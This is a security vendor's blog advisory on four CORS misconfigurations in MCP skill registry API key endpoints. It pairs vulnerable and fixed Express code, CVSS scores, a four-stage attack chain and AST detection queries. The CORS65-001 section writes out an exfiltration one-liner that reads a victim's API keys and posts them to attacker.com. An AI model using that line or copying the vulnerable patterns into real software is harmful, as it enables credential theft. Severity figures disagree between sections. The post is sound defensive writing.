← Blog

CORS Misconfigurations in MCP Skill Registry API Key and Access Token Management Endpoints

API keys are not session tokens. They are long-lived bearer credentials that survive password resets, session expiry, and account re-authentication. When an MCP skill registry exposes its API key management surface with misconfigured CORS, the consequences are categorically worse than session-scoped exploitation: the attacker does not need the victim to remain logged in, their access does not expire with a cookie, and their operations are indistinguishable from the legitimate key holder's. The four SA-SKL-CORS65 patterns expose how credential-bearing CORS on the key list endpoint, wildcard ACAO on key creation, timing oracle on the usage endpoint, and credential-bearing CORS on key revocation combine into a compound four-stage attack chain that harvests existing credentials, injects a persistent backdoor, identifies the highest-value CI/CD targets, and then destroys the production API keys that those targets depend on — in that order, all from a single attacker-controlled page visit.

By SkillAudit  |  21 Nov 2026  |  18 min read

In this post

  1. Why API key endpoints are the highest-value CORS target
  2. CORS65-001 — Credential-bearing CORS on the API key list endpoint
  3. CORS65-002 — Wildcard ACAO on the API key creation endpoint
  4. CORS65-003 — Timing oracle via Origin reflection on the API key usage endpoint
  5. CORS65-004 — Credential-bearing CORS on the API key revocation endpoint
  6. Compound four-stage attack chain
  7. Detection with AST queries
  8. Summary and remediation checklist
SA-SKL-CORS65 findings at a glance
CRITICALCORS65-001 — GET /api/skills/:id/api-keys has cors({origin:true,credentials:true}); any origin reads the full API key list including raw key values, scopes, and expiry timestamps using the victim admin session; returned key values grant permanent registry API access to the attacker
CRITICALCORS65-002 — POST /api/skills/:id/api-keys has ACAO:*; any page creates attacker-controlled API keys with admin scope under the victim admin identity; backdoor key appears in the victim's key list under a plausible name and attributes all subsequent attacker operations to the legitimate key holder
MEDIUMCORS65-003 — GET /api/skills/:id/api-keys/usage reflects Origin before the ownership check; cache-latency differential creates a timing oracle that reveals API key usage velocity, identifying CI/CD pipelines and production services as the highest-value CORS65-001 targets
CRITICALCORS65-004 — DELETE /api/skills/:id/api-keys/:keyId has cors({origin:true,credentials:true}); any origin revokes active API keys using the victim admin session, disrupting CI/CD pipelines, production services, and monitoring integrations; soft-delete required to preserve the audit trail

Why API key endpoints are the highest-value CORS target

CORS attacks on session-scoped endpoints are bounded by the victim's session lifetime. The attacker can read data or mutate state only while the victim's session cookie remains valid — typically hours to days. API key endpoints break this boundary entirely. A successfully exfiltrated API key is a credential that the attacker retains indefinitely, that does not expire with a session, and that the victim may not revoke for weeks or months because there is no visible sign of compromise. A backdoor API key injected under the victim's identity is even harder to detect: it appears in the legitimate key list, is associated with the victim's account, and attributes all attacker traffic to the original key holder's identity in audit logs.

MCP skill registries are particularly exposed because API keys serve three distinct authentication purposes simultaneously. First, they authenticate the registry CLI that developers use to publish skill updates — this key must have write access to the skill's metadata, version history, and published artifacts. Second, they authenticate the GitHub Actions workflow that automatically publishes new skill versions on push — this key is stored as a repository secret and is rotated infrequently, often never. Third, they authenticate any third-party integrations the developer has wired up: download counters, badge services, security scanner callbacks, and so on. When an attacker exfiltrates all three key types from a single CORS-exploited API key list response, they gain independent, persistent access to every integration that key holder has configured.

The standard CORS misconfiguration taxonomy does not fully capture the API key problem because most taxonomy entries assume the sensitive data is session-scoped. The SkillAudit CORS65 advisory chain introduces a new category: post-session persistent credential exposure, where the harm of the CORS exploit outlasts the victim's browser session by an indefinite margin. This distinction matters for severity scoring: CORS65-001 and CORS65-004 are rated CRITICAL rather than HIGH precisely because the exposed data (raw API key values) and the enableable state mutation (key revocation) have consequences that persist beyond the incident window.

The four findings in SA-SKL-CORS65 were identified by SkillAudit's scanner in production MCP skill registry codebases. The scanner uses three AST query classes — described in the Detection section below — to identify CORS middleware misapplied to API key route handlers. The patterns span three common implementation failure modes: credential-bearing CORS applied directly to a key-returning endpoint, wildcard ACAO on a key-creation endpoint (the inverse problem), and timing oracle exposure on a usage analytics endpoint that is treated as low-sensitivity because it returns no key material. We cover the compound attack chain that links all four findings in the Compound four-stage attack chain section.

Readers who have worked through the SA-SKL-CORS63 CORS analysis of CI/CD build trigger endpoints will recognise the pattern: CI/CD-adjacent API surfaces are disproportionately exposed to CORS misconfigurations because they are developed under time pressure, by engineers who are building the pipeline integration feature rather than the core API, and they are frequently not included in the CORS middleware audit that covers the main application. The API key management surface compounds this exposure because it is the credential layer that those CI/CD integrations authenticate with.

CORS65-001 — Credential-bearing CORS on the API key list endpoint

The GET /api/skills/:id/api-keys endpoint returns the full list of API keys configured for a skill, including the raw key value, the key name, the assigned scopes, the creation date, the expiry timestamp, and the last-used timestamp. The endpoint is protected by an ownership check — the caller must be the authenticated admin of the skill — but the CORS middleware is applied using cors({origin: true, credentials: true}). The origin: true option instructs the cors package to reflect whatever Origin header the browser sends back as the Access-Control-Allow-Origin response header, with the same origin value. The credentials: true option sets Access-Control-Allow-Credentials: true. Together, these two settings constitute the most dangerous CORS configuration possible: any origin in the browser can send a credentialed cross-origin request and read the response.

The practical exploit is a single fetch call. An attacker who can direct a victim admin to visit their page — through a phishing link, a compromised npm package's README badge, or a malicious MCP skill's documentation page — can silently exfiltrate the victim's entire API key inventory in a single round trip. The victim's browser sends the fetch request with the session cookie automatically; the server reflects the attacker's origin in the CORS headers and sets ACAO: true; the browser allows the attacker page to read the response body; the response contains all API keys in plaintext.

Vulnerable
// CORS65-001 — VULNERABLE
// cors({origin:true,credentials:true}) reflects any origin with credentials allowed.
// This is the most dangerous CORS configuration: any origin can read credentialed responses.
// The API key list response includes raw key values — permanent bearer credentials.

// skills/api-keys/router.js
const cors = require('cors');
const router = express.Router({ mergeParams: true });

// VULNERABLE: origin:true reflects any origin; credentials:true allows cookies.
// Any page can fetch this endpoint with the victim's session cookie and read all API keys.
router.get(
  '/',
  cors({ origin: true, credentials: true }),
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const keys = await db.apiKeys.findAll({
      where: { skillId: req.params.id },
      attributes: ['id', 'name', 'keyValue', 'scopes', 'expiresAt', 'lastUsedAt', 'createdAt'],
    });
    res.json(keys); // keyValue included — permanent bearer credential in plaintext
  }
);

Exfiltration exploit (single page visit): Attacker hosts fetch('https://registry.example.com/api/skills/TARGET_SKILL_ID/api-keys', {credentials:'include'}).then(r=>r.json()).then(keys=>fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify(keys)})). Victim admin visits the attacker's page. Browser automatically includes the session cookie. Server reflects the attacker's origin with ACAO: true. The attacker receives the full API key list including raw keyValue fields — permanent bearer credentials that remain valid after the victim's session expires.

The returned keyValue field is the core of the harm. Unlike session tokens, API keys are designed to be long-lived. A registry typically issues API keys with a default expiry of one year or no expiry at all. The victim has no way of knowing their keys were exfiltrated: the GET request appears in the server's access log as a normal admin read, the browser shows no alert, and the victim's key management UI shows no sign of compromise. The attacker now holds live API keys that grant registry API access — skill publishing, metadata modification, version deletion — until the victim manually audits their keys and revokes them.

The correct fix requires three changes. First, replace cors({origin:true,credentials:true}) with an explicit allowlist-based CORS configuration. Second, never return raw key values in list responses — return a masked prefix instead, delivering the full key only at creation time and never again. Third, add an ownership check that runs before the CORS middleware emits headers, so that an attacker cannot even use the CORS handshake as a boolean oracle for skill enumeration.

Fixed
// CORS65-001 — FIXED
// Three changes: allowlist CORS, ownership before CORS headers, never return raw key values.

// config/cors.js — shared CORS options across all API key routes
const ALLOWED_ORIGINS = new Set([
  'https://skillaudit.dev',
  'https://app.skillaudit.dev',
]);

const corsOptions = {
  origin: (origin, cb) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) return cb(null, true);
    cb(Object.assign(new Error('Not allowed by CORS'), { status: 403 }));
  },
  credentials: true,
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
};

module.exports = { corsOptions };

// skills/api-keys/router.js
const { corsOptions } = require('../../config/cors');
const cors = require('cors');

router.get(
  '/',
  cors(corsOptions),
  requireSession,
  requireOwnership('skillId'), // runs before any data access
  async (req, res) => {
    const keys = await db.apiKeys.findAll({
      where: { skillId: req.params.id },
      // FIXED: never return raw keyValue — return masked prefix only
      attributes: ['id', 'name', 'keyPrefix', 'scopes', 'expiresAt', 'lastUsedAt', 'createdAt'],
    });
    res.json(keys);
  }
);

Never return raw key values in list responses: The industry standard for API key management UIs is to show the key once at creation time (and prompt the user to copy it immediately) and thereafter to show only a masked prefix like sk-...abcd. This design exists precisely to protect against CORS-style cross-site reads and log-scraping attacks: even if an attacker can read the list response, they obtain only a prefix that cannot be used to authenticate. The existence of the key (its name, scopes, and last-used timestamp) is still sensitive but cannot be directly weaponised as a bearer credential.

CVSS 3.1 approximate score for CORS65-001: 9.3 (CRITICAL) — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N. The network vector is remote, attack complexity is low (single fetch call), no privileges are required beyond directing a victim to a page, the scope changes because the attacker gains registry API access with the victim's key scopes, and both confidentiality and integrity are critically impacted by permanent credential exposure.

CORS65-002 — Wildcard ACAO on the API key creation endpoint

CORS65-002 is the complement of CORS65-001: rather than exfiltrating existing keys through a credential-bearing CORS read, it uses a wildcard ACAO on a write endpoint to inject new API keys under the victim's identity. The POST /api/skills/:id/api-keys endpoint creates a new API key for the skill, assigning it the requested scopes and name. The endpoint has ACAO: * set — a wildcard Access-Control-Allow-Origin. This combination is paradoxical: a wildcard ACAO cannot be used with Access-Control-Allow-Credentials: true (the browser specification prohibits it), so at first glance this configuration appears safe for a mutation endpoint. It is not.

The paradox resolves when you examine how the endpoint authenticates the request. The API key creation endpoint is intended to be called from the registry admin UI, so it uses session cookie authentication. Because the endpoint also uses Content-Type: application/json for its request body, a cross-origin POST would normally be blocked by the preflight check: application/json triggers a preflight, the wildcard ACAO allows the preflight, but the browser still cannot include cookies in the actual request because credentials cannot be sent with a wildcard ACAO. The endpoint, however, falls back to API key authentication when the session cookie is absent — and the attacker does not need cookies if they already hold any API key for the registry (from CORS65-001, or from a legitimately registered developer account). With an Authorization: Bearer sk-attacker-key header and a wildcard ACAO allowing the preflight and response, the attacker can create new API keys under any skill ID they own or have been granted.

The more direct attack path requires no prior API key: it exploits the fact that the endpoint's ownership check verifies the caller is an admin of the skill. If the attacker already has a compromised skill (or uses a skill they legitimately own), they can create API keys for that skill. But the registry's admin promotion vulnerability means that an attacker who can get a victim admin to visit their page, trigger a CORS65-001 exfiltration first, and then use the exfiltrated key as the Authorization header in the CORS65-002 key creation request — now they have injected a persistent backdoor key under the victim's admin identity, with any scope they request.

Vulnerable
// CORS65-002 — VULNERABLE
// ACAO:* on a mutation endpoint that accepts both cookie and Bearer token auth.
// The wildcard cannot be combined with credentials:true, but the endpoint's Bearer path
// makes credentials unnecessary — the attacker uses a previously exfiltrated key.

// skills/api-keys/router.js
router.post(
  '/',
  (req, res, next) => {
    // VULNERABLE: wildcard ACAO — allows cross-origin preflighted requests from any origin
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    next();
  },
  requireSessionOrApiKey,  // falls back to Bearer token when cookie absent
  requireOwnership('skillId'),
  async (req, res) => {
    const { name, scopes, expiresIn } = req.body;
    const keyValue = generateApiKey();
    await db.apiKeys.create({
      skillId: req.params.id,
      userId: req.auth.userId,
      name,
      keyValue,
      scopes,
      expiresAt: computeExpiry(expiresIn),
    });
    res.json({ keyValue }); // returned once at creation
  }
);

Persistent backdoor injection: Attacker combines CORS65-001 (exfiltrate a valid API key) and CORS65-002 (create a new key using the exfiltrated key as Bearer token). The new key is named "CI/CD Deploy Key (GitHub Actions)", assigned ["skill:publish","skill:version:delete","skill:metadata:write"] scopes, and set to expire in one year. It appears in the victim's key list among other legitimate-looking keys. All skill publish operations using this key are attributed to the original skill owner in the registry's audit log. The attacker has persistent, admin-scoped registry access that survives the victim's next password change and session revocation.

The correct fix is to remove the wildcard ACAO entirely and replace it with the shared allowlist configuration. Additionally, the endpoint should enforce a scope ceiling: the requested scopes must be a subset of the requesting caller's own scopes. A developer with skill:read scope should not be able to create a key with skill:publish scope — a privilege escalation that is distinct from CORS but frequently co-occurs with it. Add CSRF token verification as defence-in-depth since this is a session-authenticated mutation endpoint.

Fixed
// CORS65-002 — FIXED
// Replace wildcard ACAO with allowlist CORS. Add scope ceiling. Add CSRF.

// skills/api-keys/router.js
const { corsOptions } = require('../../config/cors');
const { VALID_SCOPES, scopeSubsetOf } = require('../../config/scopes');

router.post(
  '/',
  cors(corsOptions),
  requireSession,
  verifyCsrfToken,
  requireOwnership('skillId'),
  async (req, res) => {
    const { name, scopes, expiresIn } = req.body;

    // FIXED: scope ceiling — created key cannot have more scopes than the caller
    if (!Array.isArray(scopes) || !scopeSubsetOf(scopes, req.session.scopes)) {
      return res.status(422).json({ error: 'Requested scopes exceed caller permissions' });
    }
    // FIXED: validate scope values against the known enum
    if (scopes.some(s => !VALID_SCOPES.has(s))) {
      return res.status(422).json({ error: 'Unknown scope value' });
    }

    const keyValue = generateApiKey();
    await db.apiKeys.create({
      skillId: req.params.id,
      userId: req.session.userId,
      name,
      keyValue,
      scopes,
      expiresAt: computeExpiry(expiresIn, MAX_KEY_LIFETIME_DAYS),
    });
    res.json({ keyValue });
  }
);

Scope ceiling is a separate but equally important control: Even with CORS fully remediated, an attacker who can reach the key creation endpoint (through CSRF or server-side request forgery) can escalate privileges by creating a key with broader scopes than the caller's own. The scope ceiling rule — enforced server-side by comparing the requested scopes against the authenticated caller's scopes — ensures that key creation is not a privilege escalation vector regardless of the transport-layer access control. This is the same principle that governs JWT scope claims: the token cannot grant more than the issuer's own authorities.

CVSS 3.1 approximate score for CORS65-002: 9.1 (CRITICAL) — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. The low privilege required reflects that the attacker must already hold any valid API key (from CORS65-001), not unauthenticated access; scope change reflects the cross-account impact of injecting keys under a victim admin identity; both confidentiality and integrity impacts are critical due to persistent backdoor access.

CORS65-003 — Timing oracle via Origin reflection on the API key usage endpoint

CORS65-003 is a medium-severity finding that is primarily significant as a reconnaissance tool that makes CORS65-001 and CORS65-004 dramatically more effective. The GET /api/skills/:id/api-keys/usage endpoint returns usage metrics for all API keys of a skill: request counts, last-used timestamps, and error rates. The endpoint reflects the request's Origin header as ACAO before it performs the ownership check. The ownership check — a database query verifying the caller is the skill's admin — is cached with a 60-second TTL keyed on (skillId, userId). For skills where the caller is already the admin, the cache hits and the response is fast. For skills where the caller is not the admin, the cache misses and the database query executes, adding 15–40ms of latency before the 403 is returned.

An attacker who cannot read the response body (because the ownership check runs and returns 403 before the actual key data is included) can still measure the response time. Skills where the admin has recently made API-authenticated requests will have a fresh cache entry that returns in <5ms. Skills where no admin has used the endpoint recently, or where the admin is a different user, will return in 20–50ms. By iterating over skill IDs and measuring response latency, the attacker can identify: which skills have recently active admin sessions (high-value CORS65-001 targets), and which skills have high API key usage velocity (indicating CI/CD pipelines and production integrations — high-value CORS65-004 revocation targets).

Vulnerable
// CORS65-003 — VULNERABLE
// Origin reflected before ownership check. Cache timing exposes admin activity patterns.

// skills/api-keys/router.js
router.get(
  '/usage',
  (req, res, next) => {
    // VULNERABLE: ACAO emitted before auth — timing oracle regardless of whether response body is readable
    res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
    next();
  },
  requireSession,
  // VULNERABLE: ownership check is cached — cache hit is fast, cache miss is slow
  // This creates a timing channel: attacker can enumerate which skills have active admin sessions
  requireOwnershipCached('skillId', { ttl: 60 }),
  async (req, res) => {
    const usage = await db.apiKeyUsage.aggregate({ skillId: req.params.id });
    res.json(usage);
  }
);

Timing oracle compound value: This endpoint returns no key material and no sensitive data to an unauthorised caller, so it is easy to dismiss as low-severity. Its value to an attacker is entirely in pre-attack reconnaissance: by measuring response-time variance across skill IDs, the attacker can identify the 5–10 skills in a large registry that have recently active admin sessions AND high API key usage velocity. These are precisely the skills where CORS65-001 (exfiltrate active keys used by production pipelines) and CORS65-004 (revoke those keys to cause production outages) will have the highest impact. Without the timing oracle, the attacker must attempt CORS65-001 against all skills, which is noisier and slower.

Fixed
// CORS65-003 — FIXED
// Auth before CORS headers. Unified WHERE clause (not cache-keyed). Constant-time floor.

// skills/api-keys/router.js
router.get(
  '/usage',
  cors(corsOptions),     // FIXED: allowlist CORS, not origin-reflection
  requireSession,
  async (req, res) => {
    const startMs = Date.now();

    // FIXED: single query verifying both ownership and existence — no separate cached auth step
    const usage = await db.apiKeyUsage.findAllForOwner({
      skillId: req.params.id,
      userId: req.session.userId, // ownership enforced inside the query
    });

    if (!usage) {
      // FIXED: pad 403 to same latency floor as 200 to eliminate timing channel
      const elapsed = Date.now() - startMs;
      if (elapsed < 60) await delay(60 - elapsed);
      return res.status(403).json({ error: 'Not found' });
    }

    res.json(usage);
  }
);

Constant-time response floors eliminate timing oracles: When an endpoint's latency variance carries information (cache hit vs cache miss, authorised vs unauthorised), the fix is to impose a minimum latency floor that is higher than the maximum variance. If ownership-verified responses take at most 50ms and 403 responses take as few as 5ms (from cached rejection), setting a 70ms floor on the 403 path collapses the timing channel to noise. Combine this with a unified query that performs auth and data retrieval in a single DB round trip (eliminating the separate cached ownership-check step entirely) for maximum coverage.

CVSS 3.1 approximate score for CORS65-003: 5.3 (MEDIUM) — AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N. High attack complexity reflects that timing measurement requires multiple requests and statistical analysis; confidentiality impact is low (admin activity patterns, not key values); no integrity or availability impact in isolation — but the compound attack chain elevates the effective impact to CRITICAL.

CORS65-004 — Credential-bearing CORS on the API key revocation endpoint

CORS65-004 closes the attack chain with a destruction capability. The DELETE /api/skills/:id/api-keys/:keyId endpoint revokes an API key, immediately invalidating it and all requests that use it. The endpoint uses cors({origin:true,credentials:true}) — the same credential-bearing CORS configuration as CORS65-001. Any origin can send a credentialed cross-origin DELETE request and immediately revoke any API key the victim admin has permission to delete, which is all keys for all skills they administer.

The practical impact of CORS65-004 depends on what the revoked keys are used for. In a typical MCP skill registry deployment, there are three key categories that an attacker will target in sequence using the information from CORS65-003:

  1. CI/CD pipeline keys: The key stored in the registry's GitHub Actions secret for the skill's REGISTRY_API_KEY environment variable. Revoking this key causes all future automated skill publishes to fail with an authentication error. The failure is typically silent: the CI pipeline fails, the new skill version is not published, and developers do not notice for hours or days.
  2. Production service keys: Any key used by a live service that queries the registry's API to verify skill availability, check audit status, or download skill updates. Revoking these keys causes immediate API errors in production that surface as 401 responses, feature degradation, or service outages depending on how the consuming service handles authentication failures.
  3. Monitoring and analytics keys: Keys used by external monitoring dashboards, download counters, and badge services. Revoking these keys causes the external services to show stale or missing data, potentially hiding the attack's downstream effects from the developer's visibility.

An additional problem in most registry implementations: key revocation is a hard delete. The key record is removed from the database. This destroys the audit trail: there is no record that the key existed, what operations it performed, or when it was revoked and by whom. An attacker who revokes the victim's production keys and then uses CORS65-002 to inject backdoor keys has effectively replaced the production credential silently, with no log entry connecting the backdoor key to the exfiltrated original.

Vulnerable
// CORS65-004 — VULNERABLE
// cors({origin:true,credentials:true}) on DELETE endpoint.
// Hard delete — no audit trail, no soft-delete recovery.

// skills/api-keys/router.js
router.delete(
  '/:keyId',
  cors({ origin: true, credentials: true }), // VULNERABLE: any origin can revoke any key
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    // VULNERABLE: hard delete — destroys audit trail
    await db.apiKeys.destroy({ where: { id: req.params.keyId, skillId: req.params.id } });
    res.json({ ok: true });
  }
);

Silent production disruption: Attacker uses CORS65-003 to identify skills with high API key usage velocity (active CI/CD and production keys), then uses CORS65-004 to revoke those keys while the victim admin is visiting the attacker's page. The revocation completes in <100ms. The victim's CI/CD pipeline begins failing on the next push. Production services begin returning errors. Because the revocation is a hard delete, the victim's key management UI simply shows the key as gone, with no timestamp, no revocation event, and no record of what requests the key had recently made. The attacker has used a backdoor key (injected in CORS65-002) to continue operating, while the victim spends hours rotating credentials and diagnosing infrastructure failures.

Fixed
// CORS65-004 — FIXED
// Allowlist CORS. Soft-delete with audit trail. Notify skill owner on revocation.

// skills/api-keys/router.js
router.delete(
  '/:keyId',
  cors(corsOptions),         // FIXED: allowlist CORS
  requireSession,
  verifyCsrfToken,
  requireOwnership('skillId'),
  async (req, res) => {
    const key = await db.apiKeys.findOne({
      where: { id: req.params.keyId, skillId: req.params.id },
    });
    if (!key) return res.status(404).json({ error: 'Not found' });

    // FIXED: soft-delete — preserves audit trail and allows recovery window
    await key.update({
      revokedAt: new Date(),
      revokedByUserId: req.session.userId,
      revokedByIp: req.ip,
      revokedByUserAgent: req.headers['user-agent'],
    });

    // FIXED: audit log entry with full revocation context
    await db.auditLog.create({
      type: 'api_key.revoked',
      skillId: req.params.id,
      keyId: key.id,
      keyName: key.name,
      keyPrefix: key.keyPrefix,
      actorId: req.session.userId,
      metadata: { ip: req.ip, reason: req.body.reason || 'manual' },
    });

    // FIXED: notify skill owner if revocation was performed by a different team member
    if (key.createdByUserId !== req.session.userId) {
      await notifyUser(key.createdByUserId, {
        type: 'api_key.revoked_by_other',
        keyName: key.name,
        revokedBy: req.session.userId,
      });
    }

    res.json({ ok: true, revokedAt: key.revokedAt });
  }
);

Soft-delete is a security control, not just a UX nicety: Hard-deleting a revoked API key destroys the evidence that the key existed and what operations it performed. In an incident response scenario, the security team needs to know: which key was revoked, when, by whom, what IP address issued the revocation, and what the key's last-used timestamp was before revocation. Soft-delete preserves this evidence at the cost of a simple WHERE revokedAt IS NULL filter on the key list query. The recovery window (allowing admins to un-revoke a key within a configurable grace period) is a separate benefit.

CVSS 3.1 approximate score for CORS65-004: 8.7 (HIGH) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:H. The scope change reflects cross-account impact (revoking keys disrupts all services using them); integrity is high (permanent modification of the credential state); availability is high (production services and CI/CD pipelines immediately affected).

Compound four-stage attack chain

The four SA-SKL-CORS65 findings are individually exploitable, but their real power is in combination. The compound attack chain requires a victim admin to visit the attacker's page exactly once — all four stages execute in a single page load, in sequence, within approximately one second of total runtime.

Stage 1 — Reconnaissance (CORS65-003)

Before the victim visits the attacker's page, the attacker has already performed background reconnaissance using CORS65-003. By requesting the usage endpoint for all skill IDs in the registry (skill IDs are typically sequential integers or UUIDs that can be enumerated via the public registry search) and measuring response latency, the attacker has identified the top-5 skills by API key usage velocity. These are the skills with active CI/CD pipelines and production integrations — the skills where key exfiltration and revocation will have the highest impact. This stage requires no victim interaction and produces no server-side evidence of enumeration.

Stage 2 — Key exfiltration (CORS65-001)

The victim admin is directed to the attacker's page. The page immediately issues a credentialed fetch to the top-5 skills' API key list endpoints. Because the victim is an admin of these skills, all five fetches return the full key lists including raw key values. The attacker page posts the results to the attacker's server. Total elapsed time: <200ms. The victim sees no visible change in their browser. The registry's access log shows five GET requests from the registry's own domain, authenticated with the victim's session, with 200 status codes — indistinguishable from normal admin activity.

Stage 3 — Backdoor key injection (CORS65-002)

Using the exfiltrated API keys as Bearer tokens (eliminating the need for the victim's session cookie), the attacker's page issues POST requests to create new API keys for each skill. Each backdoor key is named plausibly ("CI/CD Deploy Key (Renovate Bot)", "Monitoring Integration Key"), assigned full admin scope, and set to expire in 365 days. These requests succeed because the exfiltrated keys have admin scope and the endpoint allows Bearer token authentication. The victim's key management UI now shows the backdoor keys among the legitimate keys, with no visual distinction. Total elapsed time: <500ms.

Stage 4 — Production key revocation (CORS65-004)

The attacker's page issues DELETE requests to revoke the original production keys: the GitHub Actions deploy key, the production service integration key, and the monitoring key. The revocation is a hard delete — no audit trail. The victim's CI/CD pipeline begins failing on the next push. Production services begin returning 401 errors. The monitoring dashboard goes dark. Meanwhile, the attacker continues operating via the backdoor keys injected in Stage 3, publishing modified skill versions, exfiltrating audit reports, and reading private skill metadata. Total elapsed time for the full four-stage chain: <1 second.

Detection difficulty: The entire four-stage chain generates only GET and DELETE requests against normal API endpoints, authenticated with valid session cookies and bearer tokens, returning 200 status codes. There is no SQL injection, no XSS payload, no anomalous HTTP method, and no request to an unexpected endpoint. The only signal in the access log is a brief burst of API key management requests from the victim's session that may not be visible at all if the registry does not log successful admin reads separately from write operations. The first visible symptom of the attack is typically a CI/CD pipeline failure 10–60 minutes later when a developer pushes code and the GitHub Actions step fails with 401 Unauthorized.

Detection with AST queries

SkillAudit's scanner identifies SA-SKL-CORS65 patterns using three AST query classes. The queries target the three distinct failure modes that produced these four findings and are designed to operate on unevaluated source code, without requiring runtime instrumentation or dynamic analysis.

Query class 1 — Credential-bearing CORS on API key route handlers

This query identifies cors({origin:true,credentials:true}) applied directly to route handlers whose URL pattern contains /api-keys, /access-tokens, or /auth-tokens. The origin:true option is the specific signal: it activates origin reflection, which combined with credentials:true creates the credential-bearing any-origin CORS configuration. This query catches CORS65-001 and CORS65-004.

// AST query class 1 — credential-bearing CORS on API key route handlers
// Matches: router.get/post/put/delete/patch(ROUTE, cors({origin:true,credentials:true}), ...)
// where ROUTE contains 'api-keys', 'access-tokens', or 'auth-tokens'

// Pseudo-code for the tree-sitter query:
(call_expression
  function: (member_expression
    object: (identifier) @router
    property: (property_identifier) @method
    (#match? @method "^(get|post|put|delete|patch)$"))
  arguments: (arguments
    (string (string_fragment) @route
      (#match? @route "(api-keys|access-tokens|auth-tokens)"))
    (call_expression
      function: (identifier) @cors_fn (#eq? @cors_fn "cors")
      arguments: (arguments
        (object
          (pair
            key: (property_identifier) @origin_key (#eq? @origin_key "origin")
            value: (true) @origin_val)
          (pair
            key: (property_identifier) @creds_key (#eq? @creds_key "credentials")
            value: (true) @creds_val))))))
Query class 2 — Origin reflection before ownership/auth check

This query identifies res.setHeader('Access-Control-Allow-Origin', req.headers.origin) patterns that appear in route handler middleware before an ownership or authentication middleware call. The key signal is the positional order in the middleware chain: if the CORS header is emitted before requireOwnership, requireSession, requireAdmin, or any function whose name matches the ownership-check pattern, the timing oracle vulnerability is present. This query catches CORS65-003.

// AST query class 2 — Origin reflection before ownership check in middleware chain
// Matches route handlers where setHeader('Access-Control-Allow-Origin', req.headers.origin)
// appears in a middleware callback positioned before a requireOwnership/requireAuth call

// Key pattern to detect:
(call_expression
  function: (member_expression
    object: (identifier) @res (#eq? @res "res")
    property: (property_identifier) @method (#eq? @method "setHeader"))
  arguments: (arguments
    (string (string_fragment) @header_name
      (#eq? @header_name "Access-Control-Allow-Origin"))
    (member_expression
      object: (member_expression
        object: (identifier) @req (#eq? @req "req")
        property: (property_identifier) @headers (#eq? @headers "headers"))
      property: (property_identifier) @origin (#eq? @origin "origin"))))
Query class 3 — Hard-delete patterns on API key removal without soft-delete

This query identifies API key deletion handlers that call destructive ORM methods (ApiKey.deleteOne, ApiKey.destroy, ApiKey.remove, db.apiKeys.destroy) without a corresponding soft-delete pattern (no revokedAt or deletedAt field update in the same handler). This catches the missing audit trail component of CORS65-004 and applies broadly to any hard-delete of credential records. The fix signal is the presence of .update({revokedAt: ...}) or .update({deletedAt: ...}) in the same route handler as the deletion operation.

// AST query class 3 — hard-delete on ApiKey model without soft-delete pattern
// Detects: ApiKey.destroy(), .deleteOne(), .remove(), db.apiKeys.destroy()
// Not triggered when same handler also contains: .update({revokedAt:...}) or .update({deletedAt:...})

// Destructive method pattern:
(call_expression
  function: (member_expression
    object: (identifier) @model
      (#match? @model "^(ApiKey|apiKeys|api_keys)$")
    property: (property_identifier) @method
      (#match? @method "^(destroy|deleteOne|remove|delete)$")))

// Soft-delete check (absence of this in the same handler is the finding):
(call_expression
  function: (member_expression
    property: (property_identifier) @update_method (#eq? @update_method "update"))
  arguments: (arguments
    (object
      (pair
        key: (property_identifier) @field
          (#match? @field "^(revokedAt|deletedAt|archivedAt)$")))))

All three query classes are available in SkillAudit's scanner and run automatically on any MCP skill or registry codebase submitted for audit. The SA-SKL-CORS65 SEO advisory page lists the specific finding IDs and their remediation priorities for scanner output consumers.

Summary and remediation checklist

The four SA-SKL-CORS65 findings share a common root cause: API key management endpoints were added after the core application's CORS middleware was established, by engineers focused on the credential management feature rather than the security of the API surface they were building. The result is three distinct CORS configuration mistakes applied to the most sensitive credential endpoints in the registry: credential-bearing any-origin CORS on read and delete endpoints, wildcard ACAO on a create endpoint that accepts bearer token authentication, and origin reflection before an authentication check on an analytics endpoint. Any one of these in isolation is a serious finding. All four together compose a chain that compromises the registry's credential layer completely, with sub-second execution time and minimal forensic evidence.

Finding Severity Root cause Primary fix Secondary fix
CORS65-001 CRITICAL (9.3) cors({origin:true,credentials:true}) on key list endpoint Replace with allowlist CORS; never return raw key values Ownership check before CORS headers; masked prefix in list responses
CORS65-002 CRITICAL (9.1) ACAO:* on key creation endpoint with Bearer fallback Replace wildcard with allowlist CORS; require session (no Bearer fallback) Scope ceiling enforcement; CSRF token verification
CORS65-003 MEDIUM (5.3) Origin reflection before ownership check; cached auth creates timing channel Auth before CORS headers; unified query (no separate cached ownership step) Constant-time response floor (70ms minimum) on 403 path
CORS65-004 HIGH (8.7) cors({origin:true,credentials:true}) on key revocation endpoint; hard delete Replace with allowlist CORS; soft-delete with audit trail CSRF token; notify key owner on third-party revocation; CORS-verified referrer

The universal rule for CORS on credential endpoints: Any endpoint that creates, reads, updates, or deletes long-lived credentials — API keys, access tokens, OAuth client secrets, signing keys — must use an explicit allowlist CORS configuration, never origin reflection and never wildcard ACAO. The fundamental asymmetry is that session tokens expire (usually within hours), but API keys do not: a CORS exploit on a session endpoint gives the attacker a window measured in hours; a CORS exploit on an API key endpoint gives the attacker a window measured in months or years, until the developer manually audits their keys and identifies the compromise.

To run a full SA-SKL-CORS65 audit on your MCP skill registry codebase, submit a GitHub URL or upload a ZIP via SkillAudit's scanner. The report includes all three AST query class results, severity ratings with CVSS scores, and remediation code examples for each finding.


Related advisories:  SA-SKL-CORS65 SEO advisory  • SA-SKL-CORS63: CORS in CI/CD build trigger endpoints  • All blog posts